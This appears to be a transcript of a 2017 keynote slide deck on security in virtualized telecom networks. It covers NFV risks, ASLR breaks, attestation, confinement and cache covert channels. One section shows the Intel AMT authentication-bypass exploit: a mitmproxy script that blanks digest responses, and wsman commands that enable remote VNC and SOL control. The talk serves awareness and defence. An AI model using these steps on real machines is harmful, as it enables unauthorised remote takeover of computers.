tadsummit, dataart keynote: security in virtualized telecom networks michael lazar
TRANSCRIPT
Security in Virtualized Telecom Networks
November 2017
Michael Lazar – DataArt Solutions, [email protected]
Virtualization and Security
“Everything is going to be unimaginably worse and is never going to get any better.”
― Kurt Vonnegut Jr.
The Network Function Virtualization (NFV) ”Promise”
Service Providers want to make their networks agile and efficient to meet the challenges of exponential bandwidth demands and be able to create revenue streams with innovative services and new business models.
Network Function Virtualization (NFV) and Software Defined Networking (SDN) has emerged as the paradigm that has the potential to transform these the industry by delivering cloud style agility and innovation and enhancing economic viability.
By 2020 SNS Research estimates that SDN and NFV can enable service providers (both wirelineand wireless) to save up to $32 Billion in annual CapEx investments
ACG Research estimates that NFV will reduce capital expenditure by 68% and reduce operating expenditure by 67%
Virtualization and Security
• Security is and always will be a cat-and-mouse game
• Tradeoffs between performance and security may need to made but the impact should be understood
• Low level security provides a foundation to build on
• Some remediation techniques can add significant management burdens
• Virtualization brings unique security issues that may not be apparent until everything is put together (fully functional system)
• SECURITY IS EQUAL PARTS PROCESS, PEOPLE AND TECHNOLOGY – Technology alone is never the answer
Image – Eric Isselée
Critical infrastructure is different
A nuclear power plant in Ohio (USA) a safety monitoring system offline for nearly five hours.
Stuxnet.
Power plant control systems in Ukraine - cut power to more than 80,000 people.
Illinois (USA) water utility breach that resulted in attackers burning out a pump.
Dallas (USA) - A hack of its emergency warning system resulting in a multi-day system shutdown.
US Department of Homeland Security (DHS) vulnerability assessments show an average of 11 direct connections between the control network and the enterprise network.
US agencies are tracking over 300 successful SCADA hacks so far this year (2017)
Boeing 757 Testing Shows Airplanes Vulnerable to Hacking (DHS – November 8, 2017)
Virtualization –A Change from Discrete components to shared resources
Classical Network Appliance Approach
• Fragmented non-commodity hardware.• Physical installer per appliance per site.• Hardware development large barrier to entry for new
vendors, constraining innovation & competition.
Network Virtualization Approach
• Commercial off the shelf hardware (COTS)• Open / Standardized APIs (Communication)• Open Source being investigated as a viable alternative• Traditional OEM and WhiteBox manufactures
Challenges in adopting Virtualization
Security models in a virtualized environment are different from legacy environments. • In non-virtualized implementations, the existing execution
model between hardware and software made sense. • With virtualization, this may not be the case. Previously
physically isolated functions may now co-exist on an underlying hypervisor (or cluster of hypervisors).
• In the event of a successful virtual machine attack, there is a real possibility that the hypervisor itself may be compromised thereby putting virtual functions that reside on a single or clustered hypervisors.
• Furthermore, pushing ‘functions to the edge’ with virtualization also brings new security challenges, remote sites can now run VNFs that present an attack vector into the core of the network, e.g. vEPC components at remote locations are now a potential attack vector.
• There is also a difficult balance between performance and security to be maintained. Some packet acceleration technologies require removal of some defenses, e.g. confinement (SELinux, AppArmon, etc.) which can lower the barrier to particular types of VNF (VM) or hypervisor attacks
Virtualization – Memory address-space randomization
Systems rely on address-space layout randomization (ASLR) and data execution prevention (DEP) to protect software against memory corruption vulnerabilities. The security of ASLR depends on randomizing regions in memory
Memory deduplication is a common feature of virtual machine monitors (vmms) that reduces the memory footprint and increases the cost-effectiveness of virtual machines (vms) running on the same host
ASLR has been demonstrated to be broken in virtual (cloud) systems (CAIN). This is an architectural issue and is not easily fixed.
Timekeeping
Why is timekeeping important ?Authentication
Billing
Logging of events / order of events / root cause analysis
Transactional coherence
Legal and Regulatory Requirements
Virtualization - Timekeeping Methods
•Coordination is required between host and guests
•Operating Systems (Hypervisor choice matters)
•Disk I/O can have an unexpected impact on timing accuracy (blocking IO)
•Over subscription (over allocating memory or CPUs can have an impact)
As an example: Location Services100 nano seconds (ns) accuracy implies an area of 1365 M^2
Virtualization – the ‘root’ of the issue
The (vast) majority of todays commercial physical compute resources and operating systems fundamentally work off of a implicit trust model. To be more explicit, there is trust between the hardware subsystems and kernel operations. Even when zero trust models are implemented in user space, todays kernels (and kernel variants) rely on implicit trust to function.
Virtualization attack vectors have become more sophisticated focusing on virtual machine attacks (break out), hypervisor attacks (blue pill), side channel and compromised hardware (malicious hardware). These are not hypothetical attacks
Over the last years several hardware and software technologies have been made available, including VT-d, Authenticated boot, Trusted Platform Modules (TPM), Trusted boot (tboot), SELinux, sVirt, AppArmor, OAT SDK (remote attestation toolkit) and Trusted Execution Technology (TXT) to make platforms more secure.
Additional technologies are available or emerging including TrustZone (ARM/AMD) and Software Guard Extensions (Intel SGX).
Chain of Trust – Attestation is designed to produce a secure root of trust
• Consider that entity A launches entity B, then B launches C.
• A measures B then passes control to B
• B measures C and passes control to C
• The question now becomes "who measures A?”
The Core Root of Trust for Measurement (CRTM) is the BIOS boot block code. This piece of code is considered trustworthy. It reliably measures integrity value of other
Attestation is the means by which a trusted computer assures a remote computer of its trustworthy status.
Power On
Static / Dynamic Measurement
Physical System Verified
Trusted Boot Loader (e.g. tboot)
Kernel Loading
Hypervisor Enablement
Data Partitions
Monitoring
Verify Workload Integrity
TEE
Clear TPM PCR
Confinement Technologies (e.g. SELinux)
Confinement Technologies (e.g. sVirt)
Measurement Attestation
Example of Simplified Boot Scheme diagramGetting to a trusted Execution Environment (TEE)
Software Confinement (SELinux / Apparmor)
A system for Mandatory Access Control (MAC) based on the Linux Security Modules (LSM) framework
Uses features of role-based
and domain-type access control
Tracks user identity through all operations
At the kernel level - Prevents applications from accessing memory or resources they are not permitted to,
Enhanced Packet ProcessingHPE Test Results – Bare Metal / SR-IOV / DPDK OVS
Average Internet traffic is 50%-60% 64byte packets. This would increase more if the VNFs in question happen to be handling real-time voice and video traffic… like a Session Border Controller, for example.
All tests Bare Metal SR-IOV Accelerated OVSFrame Size (Bytes) Throughput (GBPS) Throughput (GBPS) Throughput (GBPS)
64 20 15.55 11.78128 20 19.47 19.93256 20 19.71 19.93512 20 19.85 19.93
1024 20 19.84 19.931280 20 19.81 19.931518 19.97 19.97 19.97
Performance may comes at a the cost of security – ensure that your choices do not require “confinement” to be disabled
Access Control
Attribute-based access control (ABAC) defines an access control paradigm whereby access rights are granted to users through the use of policies which combine attributes together. The policies can use any type of attributes (user attributes, resource attributes, object, environment attributes etc.). This model supports Boolean logic, in which rules contain "IF, THEN" statements about who is making the request, the resource, and the action. For example: IF the requestor is a manager, THEN allow read/write access to sensitive data.
Access Control
Unlike role-based access control (RBAC), which employs pre-defined roles that carry a specific set of privileges associated with them and to which subjects are assigned, the key difference with ABAC is the concept of policies that express a complex Boolean rule set that can evaluate many different attributes. Attribute values can be set-valued or atomic-valued. Set-valued attributes contain more than one atomic value. Examples are role and project. Atomic-valued attributes contain only one atomic value. Examples are clearance and sensitivity. Attributes can be compared to static values or to one another, thus enabling relation-based access control.
Why is Attestation so important?
There is a computer “underneath” your computer. For Intel it is known as the Intel Management Engine (ME)
The ME has complete access to all of a computer’s memory, its network connections, and every peripheral connected to a computer.
It runs when the computer is hibernating or “powered off”. It can intercept TCP/IP traffic and access any open file.
If you own the ME and you own the computer.
Scan
Determine vulnerable machines with enabled digest authentication
Login
Bypass Authorization header and gain access to AMT Dashboard and API
Escalate
Inject malicious user or change admin credentials
Expose
Enable VNC and SOL
Control
Full access to remote machines
Intel AMT / ME Vulnerabilities
Intel AMT / ME Vulnerabilities
Enabling SOL
# apt-get install wsmancli
# wsman put http://intel.com/wbem/wscim/1/amt-
schema/1/AMT_RedirectionService -h ${IP} -P
16992 -u admin -p IDontKnowThePassworD -k
ListenerEnabled=true --proxy $PROXY
MITM Proxy script (cve.py)
from mitmproxy import http, ctx
import re
def request(flow: http.HTTPFlow) -> None:
if 'authorization' in flow.request.headers:
header = flow.request.headers['authorization']
header = re.sub(r'response="[^"]+"', 'response=""', header)
ctx.log.info('modified {}'.format(header))
flow.request.headers['authorization'] = header
ENABLING VNC
$ sudo apt-get install wsmancli
$ export http_proxy=127.0.0.1:8080
$ IP=172.16.0.1
$ VNC_PASSWORD="PaS5w-rd"
$ IPS_KVMRedirectionSettingData="http://intel.com/wbem/wscim/1/ips-
schema/1/IPS_KVMRedirectionSettingData"
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k
RFBPassword=$VNC_PASSWORD
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k Is5900PortEnabled=true
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k SessionTimeout=0
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k OptInPolicy=false
$ wsman invoke -a RequestStateChange \
http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_KVMRedirectionSAP \
-h $IP -P 16992 -u admin -p x -k RequestedState=2
Shared memory – a hypervisors view of guests
VM’s host memory usage <= VM’s guest memory size + VM’s overhead memory
When shared memory is allowed to be used (cloud / NFV), it becomes possible to ”break” ASLR in other VMs by intentionally looking for shared memory in your own VM. This does not require any type of privilege escalation or exploit of a “bug”.
Attacker VM: T Attacker VM: T + t
0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000
0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000
sleep (t)
Clock cycles:
363229266734
Attacker VM: T + t Clock cycles:
[random][random]
0x7f9ffaa0000[random][random]
28322428223134281245565114213
0x7f9ffa90000[random]
[random]0x7f9ffab0000
[random]
Move over buffer and touch paged
Write time affected by noise
Attacker VM memory performs filtering
Attacker VM memory during verification
Shared Memory starts to introduce new issues
Covert Messages – Transparent to hypervisor
VM1
Process 1 Process N Sender Process
Covert Channel
VM2
ReceiverProcess Process 1 Process N
Covert Channel
Hypervisor
Last Level Cache (LLC)
Prime + Probe Prime + Probe
What can be done?
European Telecommunications Standards Institute (ETSI) - an independent, non-profit organization, whose mission is to produce telecommunications standards for today and for the future.
ETSI GS NFV-SEC 012
Network Functions Virtualization (NFV) Security
System architecture specification for execution of sensitive NFV components
http://www.etsi.org/deliver/etsi_gs/NFV-SEC/001_099/012/03.01.01_60/gs_NFV-SEC012v030101p.pdf
References
• IBM Trusted Computing for Linux http://www.research.ibm.com/gsal/tcpa/TCFL-TPM_intro.pdf
• Intel TXT overviewhttp://www.intel.com/content/dam/www/public/us/en/documents/white-papers/trusted-execution-technology-security-paper.pdf
• Attacking TXT via SNIT - (exploits are old but the detailed explanation is valuable)http://invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via_SINIT_hijacking.pdf
• Security Enhanced Linux (NSA)https://www.nsa.gov/research/selinux/
• sVirt – SELinux mandatory access controls with the virtualization componentshttp://namei.org/presentations/svirt-lca-2009.pdf
• Hardening the virtualization layerhttp://docs.openstack.org/security-guide/compute/hardening-the-virtualization-layers.html
• Building the infrastructure for Cloud Security (entire book is open access)http://link.springer.com/book/10.1007/978-1-4302-6146-9
• Open Attestation Toolkit (SDK) (Used in Trusted Compute Pools / Remote Attestation)https://01.org/openattestation
• Intel Software Guard Extensionshttp://www.pdl.cmu.edu/SDI/2013/slides/rozas-SGX.pdf
• ARM TrustZone (have partnership with AMD)http://www.arm.com/products/processors/technologies/trustzone/index.php
References
• Clémentine Maurice, Manuel Weber, Michael Schwarz, Lukas Giner, Daniel Gruss, Carlo Alberto Boano, Stefan Mangard, Kay Römer, “Hello from the Other Side: SSH over Robust Cache Covert Channels in the Cloud”. https://www.blackhat.com/docs/asia-17/materials/asia-17-Schwarz-Hello-From-The-Other-Side-SSH-Over-Robust-Cache-Covert-Channels-In-The-Cloud.pdf
• F. Liu, Y. Yarom, Q. Ge, G. Heiser, and R. B. Lee, “Last-Level Cache Side-Channel Attacks are Practical”.
• D. A. Osvik, A. Shamir, and E. Tromer, “Cache attacks and countermeasures: the case of AES”.
• A Barres, K Razavi , M Payer, T Gross, “CAIN: Silently Breaking ASLR in the Cloud” https://www.usenix.org/system/files/conference/woot15/woot15-paper-barresi.pdf
• I Skochinsky, “Hidden code in your chipset and how to discover what exactly it does” https://recon.cx/2014/slides/Recon%202014%20Skochinsky.pdf
• Intel-SA-00075 https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr